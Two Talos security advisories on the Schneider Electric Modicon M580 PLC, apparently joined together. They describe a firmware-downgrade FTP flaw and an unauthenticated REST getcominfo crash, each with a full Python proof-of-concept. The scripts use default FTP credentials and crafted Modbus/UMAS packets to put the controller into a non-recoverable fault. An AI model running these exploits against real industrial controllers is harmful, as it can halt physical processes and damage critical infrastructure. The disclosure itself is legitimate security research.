CVE-2019-6847
An exploitable denial-of-service vulnerability exists in the FTP firmware update functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.80. An outdated firmware image can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can use default credentials to send commands that trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 Firmware version SV2.80 downgraded to SV2.10
https://www.schneider-electric.com/en/work/campaign/m580-epac/
4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.
When conducting a firmware upgrade of the Modicon M580, there are a few options to choose from, including FTP. During this process, the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent and the environment is set up correctly, the upgrade loader service switches from an ‘OK’ state to a ‘not ready’ state and begins upgrading the firmware. During a legitimate firmware upgrade, this command is run twice: once for the main firmware and once for the web firmware.
If the upgrade process is conducted with firmware version SV2.10, either through the official UnityLoader firmware upgrade tool or with the PoC provided, the device enters a non-recoverable fault state. In this state, the CPU has enters an error mode where all remote communications have been stopped and process logic stops execution. At this time, the only method that we have found to recover from this error mode is to physically connect to the device’s USB port and perform a firmware upgrade via UnityLoader.
from ftplib import FTP, error_perm
import os
from time import sleep
import socket
# helper function to handle errors and add a sleep to the request
def deleteFile(ftp, filepath):
try:
ftp.delete(filepath)
except error_perm:
# just passing b/c this means the file was already not there
pass
sleep(1)
# helper function to handle errors and add a sleep to the request
def deleteDirectory(ftp, dirpath):
try:
cmd = "XRMD {}".format(dirpath)
ftp.sendcmd(cmd)
except error_perm:
# just passing b/c this means the file was already not there
pass
sleep(1)
# helper function to specify a custom mkdir command and add a sleep to the request
def createDirectory(ftp, dirpath):
cmd = "XMKD {}".format(dirpath)
ftp.sendcmd(cmd)
sleep(1)
def main():
# Parameters
rhost = "192.168.10.1"
ftpuser = "loader"
ftppass = "fwdownload"
files = ["fw.ini", "M580SMP.img", "M580SMP_SIG.img", "webpage.img", "webpage_sig.img"]
# local working dir setup
os.chdir("BMEP582040_ldx_extracted")
try:
# login
ftp = FTP(host=rhost, user=ftpuser, passwd=ftppass, timeout=10)
# couple required commands
ftp.sendcmd("TYPE I")
ftp.sendcmd("DINF 254.254")
# delete any stragglers to prevent against state issues
for curfile in files:
curfilepath = "/SDCA/Firmware/Device/{}".format(curfile)
deleteFile(ftp, curfilepath)
deleteDirectory(ftp, "/SDCA/Firmware/SysLog")
deleteDirectory(ftp, "/SDCA/Firmware/Device")
deleteDirectory(ftp, "/SDCA/Firmware")
# set up dir structure
createDirectory(ftp, "/SDCA/Firmware")
createDirectory(ftp, "/SDCA/Firmware/Device")
createDirectory(ftp, "/SDCA/Firmware/SysLog")
ftp.cwd("/SDCA/Firmware/Device")
# transfer files
for curfile in files:
with open(curfile, 'rb') as f:
cmd = "STOR {}".format(curfile)
ftp.storbinary(cmd, f)
# make sure the device is stopped
ftp.sendcmd("STOP")
# get the device state
ftp.sendcmd("LDST 255.255")
# send the update command
ftp.sendcmd("UGRD 254.254.10.0")
# watch the update status until the transfer is finished
success = False
while True:
sleep(1)
resp = ftp.sendcmd("LDST")
if "LastError" in resp:
success = True;
break
if "Transferred =" in resp and "Loader = COMPLETED" in resp:
ftp.sendcmd("LDST 255.255")
ftp.sendcmd("UGRD 254.254.10.5")
if (success):
print("Success")
else:
print("Failure")
except socket.timeout:
print("Socket timed out. Exploit was most likely successful. Manual connectivity testing should be performed")
if __name__ == '__main__':
main()
Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos https://talosintelligence.com/vulnerability_reports/
2019-06-21 - Vendor Disclosure ### Summary
An exploitable denial of service vulnerability exists in the UMAS REST API getcominfo functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.80
https://www.schneider-electric.com/en/work/campaign/m580-epac/
8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as “UMAS.”
A REST API that allows clients to interact with various pieces of functionality on the device is on the web server, including viewing alarms, querying rack information, and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the “/rest/umas/getcominfo” UMAS endpoint. In cases where a client has obtained a reservation using a registered name of at least 0x34 bytes, a request to the getcominfo endpoint will sometimes cause the device to enter a non-recoverable fault state. In cases where the fault state does not occur, the HTTP server will become unresponsive.
In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
import struct
import socket
import requests
import random
# set up static data
rhost = "192.168.10.1"
rport = 502
verbose = True
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
clientname = "A"*255
clientnameLen = struct.pack("B", len(clientname))
mbapLen = struct.pack(">H", len(clientname) + 9)
transid = struct.pack(">H", random.randint(1, 255))
msg = "{}\x00\x00{}\x00\x5a\x00\x10\x3b\x0e\x00\x00{}{}".format(transid, mbapLen, clientnameLen, clientname)
s.send(msg)
try:
uri = "http://{}/rest/umas/getcominfo".format(rhost)
resp = requests.get(uri, timeout=5)
except requests.exceptions.ReadTimeout:
print("[*] Request timed out. This usually indicates a device fault")
except KeyboardInterrupt:
print("[*] Exiting...")
s.close()
if __name__ == '__main__':
main()
2019-06-21 - Vendor Disclosure
2019-08-29 - Vendor requested to reject issue
2019-09-03 - Talos provided additional feedback to substantiate vulnerability
2019-09-20 - Vendor acknowledged issue as vulnerability & advised plan for October 2019 disclosure
2019-10-08 - Public Release
Discovered by Jared Rittle of Cisco Talos